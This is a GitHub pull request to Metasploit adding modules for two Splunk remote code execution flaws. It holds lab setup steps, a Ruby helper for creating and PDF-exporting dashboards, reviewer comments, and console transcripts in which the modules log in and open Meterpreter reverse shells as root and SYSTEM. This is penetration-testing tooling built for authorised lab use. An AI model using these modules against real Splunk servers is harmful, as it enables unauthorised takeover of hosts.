-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Splunk RCE Exploits (CVE-2022-43571 & CVE-2024-36985) #20770
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
vognik
wants to merge
17
commits into
rapid7:master
Choose a base branch
from
vognik:Splunk_2022-43571_CVE-2024-36985
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
17 commits
Select commit
Hold shift + click to select a range
ee404d9
add splunk modules (cve-2022-43571 and cve-2024-36985)
vognik da0dc35
add documentation
vognik 0f96f2f
fix cve format in references
vognik b35c8b3
remove unused function calls
vognik 4ff2f35
fix credits
vognik ebd7362
fix variables naming
vognik 35dd551
extracted get_apps url into uris.rb
vognik 7149b9a
randomize provider name in payload
vognik 055d243
add create_sudobash payload option
vognik 8977538
add docker lab deploy guide into docs
vognik 1d4b8ce
add pagination support to get_apps function
vognik 6d059bd
improve csrf token parsing
vognik 59dc9dd
fix error handling
vognik 51bfa8a
add use_inline_splunk_query option
vognik 8fdb4ab
add delay to sudobash drop file
vognik 9fbf4e1
replace vprint_status with print_status in login.rb module
vognik cd8f159
fix version check
vognik File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
71 changes: 71 additions & 0 deletions
71
documentation/modules/exploit/linux/http/splunk_auth_rce_cve_2024_36985.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,71 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application). | ||
|
|
||
| The flaw is rooted in the unsafe use of a Splunk lookup function, specifically `| copybuckets`, within the splunk_archiver application, which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments. | ||
|
|
||
| The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2. | ||
|
|
||
| ## Testing | ||
|
|
||
| ### Docker | ||
|
|
||
| ``` | ||
| docker run \ | ||
| --name splunk \ | ||
| -p 8000:8000 \ | ||
| -p 8088:8088 \ | ||
| -p 9997:9997 \ | ||
| -e "SPLUNK_START_ARGS=--accept-license" \ | ||
| -e "SPLUNK_PASSWORD=password123" \ | ||
| splunk/splunk:8.2.4 | ||
| ``` | ||
|
|
||
| ### Manual | ||
|
|
||
| 1. Download Splunk | ||
| ``` | ||
| wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb 'https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb' | ||
| ``` | ||
|
|
||
| 2. Install | ||
| ``` | ||
| sudo dpkg -i splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb | ||
| ``` | ||
|
|
||
| 3. Execute | ||
| ``` | ||
| /opt/splunk/bin/splunk start | ||
| ``` | ||
|
|
||
| ## Scenario | ||
|
|
||
| ``` | ||
| msf6 > use linux/http/splunk_auth_rce_cve_2024_36985 | ||
| [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RHOSTS 192.168.19.139 | ||
| RHOSTS => 192.168.19.139 | ||
| msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RPORT 8000 | ||
| RPORT => 8000 | ||
| msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set FETCH_SRVPORT 8090 | ||
| FETCH_SRVPORT => 8090 | ||
| msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set PASSWORD password123 | ||
| PASSWORD => password123 | ||
| msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run | ||
|
|
||
| [*] Started reverse TCP handler on 192.168.19.130:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] SUCCESSFUL LOGIN. 'admin' : 'password123' | ||
| [+] The target appears to be vulnerable. Exploitable version found: 8.2.4, splunk_archiver app is enabled | ||
| [*] Sending stage (3045380 bytes) to 192.168.19.139 | ||
| [*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.139:55936) at 2025-12-12 15:04:44 -0500 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 192.168.19.139 | ||
| OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > getuid | ||
| Server username: root | ||
| ``` |
119 changes: 119 additions & 0 deletions
119
documentation/modules/exploit/multi/http/splunk_auth_rce_cve_2022_43571.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,119 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise. | ||
|
|
||
| An attacker can inject arbitrary Python code into style parameters, such as the `fillColor` or `lineColor` of a sparkline element within a Splunk SimpleXML dashboard. | ||
| The malicious code is executed when a user triggers the PDF export function for the dashboard. | ||
|
|
||
| The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2. | ||
|
|
||
| ## Testing | ||
|
|
||
| ### Linux | ||
|
|
||
| #### Docker | ||
|
|
||
| ``` | ||
| docker run \ | ||
| --name splunk \ | ||
| -p 8000:8000 \ | ||
| -p 8088:8088 \ | ||
| -p 9997:9997 \ | ||
| -e "SPLUNK_START_ARGS=--accept-license" \ | ||
| -e "SPLUNK_PASSWORD=password123" \ | ||
| splunk/splunk:8.2.4 | ||
| ``` | ||
|
|
||
| #### Manual | ||
|
|
||
| 1. Download Splunk | ||
| ``` | ||
| wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb 'https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb' | ||
| ``` | ||
|
|
||
| 2. Install | ||
| ``` | ||
| sudo dpkg -i splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb | ||
| ``` | ||
|
|
||
| 3. Execute | ||
| ``` | ||
| /opt/splunk/bin/splunk start | ||
| ``` | ||
|
|
||
| ### Windows | ||
|
|
||
| 1. Download Splunk | ||
| ``` | ||
| wget -O splunk-8.2.6-a6fe1ee8894b-x64-release.msi "https://download.splunk.com/products/splunk/releases/8.2.6/windows/splunk-8.2.6-a6fe1ee8894b-x64-release.msi" | ||
| ``` | ||
|
|
||
| 2. Install | ||
|
|
||
| 3. Execute | ||
|
|
||
| ``` | ||
| "C:\Program Files\Splunk\bin\splunk.exe" start | ||
| ``` | ||
|
|
||
| ## Scenario | ||
|
|
||
| ### Linux | ||
|
|
||
| ``` | ||
| msf6 > use multi/http/splunk_auth_rce_cve_2022 | ||
| [*] No payload configured, defaulting to python/meterpreter/reverse_tcp | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.139 | ||
| RHOSTS => 192.168.19.139 | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000 | ||
| RPORT => 8000 | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123 | ||
| PASSWORD => password123 | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run | ||
|
|
||
| [*] Started reverse TCP handler on 192.168.19.130:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] SUCCESSFUL LOGIN. 'admin' : 'password123' | ||
| [+] The target appears to be vulnerable. Exploitable version found: 8.2.4 | ||
| [*] Sending stage (24772 bytes) to 192.168.19.139 | ||
| [*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.139:59524) at 2025-12-12 15:11:44 -0500 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : ubuntu | ||
| OS : Linux 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Meterpreter : python/linux | ||
| meterpreter > getuid | ||
| Server username: root | ||
| ``` | ||
|
|
||
| ### Windows | ||
|
|
||
| ``` | ||
| msf6 > use multi/http/splunk_auth_rce_cve_2022_43571 | ||
| [*] No payload configured, defaulting to python/meterpreter/reverse_tcp | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.137 | ||
| RHOSTS => 192.168.19.137 | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000 | ||
| RPORT => 8000 | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123 | ||
| PASSWORD => password123 | ||
| msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run | ||
|
|
||
| [*] Started reverse TCP handler on 192.168.19.130:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] SUCCESSFUL LOGIN. 'admin' : 'password123' | ||
| [+] The target appears to be vulnerable. Exploitable version found: 8.2.6 | ||
| [*] Sending stage (24772 bytes) to 192.168.19.137 | ||
| [*] Meterpreter session 3 opened (192.168.19.130:4444 -> 192.168.19.137:62128) at 2025-12-12 15:21:53 -0500 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : DESKTOP-vognik | ||
| OS : Windows 10 (Build 19044) | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Meterpreter : python/windows | ||
| meterpreter > getuid | ||
| Server username: NT AUTHORITY\SYSTEM | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,92 @@ | ||
| # -*- coding: binary -*- | ||
|
|
||
| # This module provides a way of interacting with Splunk dashboards | ||
| module Msf::Exploit::Remote::HTTP::Splunk::Dashboards | ||
| # Creates a new Splunk dashboard in the specified namespace | ||
| # | ||
| # @param namespace [String] The Splunk namespace (usually a user or app) where the dashboard will be created | ||
| # @param name [String] The name of the dashboard | ||
| # @param template [String] The dashboard template content | ||
| # @param cookie [String] Valid admin's cookie | ||
| # @return [Rex::Proto::Http::Response] HTTP response object | ||
| def create_dashboard(namespace, name, template, cookie) | ||
| csrf = extract_csrf_token(cookie) | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would it be worth it to check to see if Just curious, this comment would apply to a number of places in this PR, I noticed |
||
|
|
||
| res = send_request_cgi( | ||
| 'uri' => splunk_dashboard_create_api_url(namespace), | ||
| 'method' => 'POST', | ||
| 'vars_get' => { | ||
| 'output_mode' => 'json' | ||
| }, | ||
| 'vars_post' => { | ||
| 'name' => name, | ||
| 'eai:data' => template, | ||
| 'eai:type' => 'views' | ||
| }, | ||
| 'cookie' => cookie, | ||
| 'headers' => { | ||
| 'X-Splunk-Form-Key' => csrf, | ||
| 'X-Requested-With': 'XMLHttpRequest' | ||
| } | ||
| ) | ||
| unless res&.code == 201 | ||
| fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") | ||
| end | ||
|
|
||
| res | ||
| end | ||
|
|
||
| # Exports a Splunk dashboard to PDF | ||
| # | ||
| # @param namespace [String] The Splunk namespace where the dashboard resides | ||
| # @param name [String] The name of the dashboard to export | ||
| # @param cookie [String] Valid admin's cookie | ||
| # @return [Rex::Proto::Http::Response] HTTP response object containing the exported PDF | ||
| def export_dashboard(namespace, name, cookie) | ||
| csrf = extract_csrf_token(cookie) | ||
|
|
||
| res = send_request_cgi( | ||
| 'uri' => splunk_dashboard_pdf_export_api_url(namespace, name), | ||
| 'method' => 'POST', | ||
| 'vars_post' => { | ||
| 'input-dashboard' => name, | ||
| 'namespace' => namespace, | ||
| 'splunk_form_key' => csrf | ||
| }, | ||
| 'cookie' => cookie | ||
| ) | ||
| unless res&.code == 200 | ||
| fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") | ||
| end | ||
|
|
||
| res | ||
| end | ||
|
|
||
| # Deletes a Splunk dashboard from the specified namespace | ||
| # | ||
| # @param namespace [String] The Splunk namespace where the dashboard resides | ||
| # @param name [String] The name of the dashboard to delete | ||
| # @param cookie [String] Valid admin's cookie | ||
| # @return [Rex::Proto::Http::Response] HTTP response object | ||
| def delete_dashboard(namespace, name, cookie) | ||
| csrf = extract_csrf_token(cookie) | ||
|
|
||
| res = send_request_cgi( | ||
| 'uri' => splunk_dashboard_delete_api_url(namespace, name), | ||
| 'method' => 'DELETE', | ||
| 'vars_get' => { | ||
| 'output_mode' => 'json' | ||
| }, | ||
| 'cookie' => @cookie, | ||
| 'headers' => { | ||
| 'X-Requested-With': 'XMLHttpRequest', | ||
| 'X-Splunk-Form-Key' => csrf | ||
| } | ||
| ) | ||
| unless res&.code == 200 | ||
| fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") | ||
| end | ||
|
|
||
| res | ||
| end | ||
| end | ||
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be better to use Metasploit's
retry_until_truthyor some type of loop that has a definitive end just in case?metasploit-framework/lib/msf/core/exploit/retry.rb
Line 8 in 1aceb71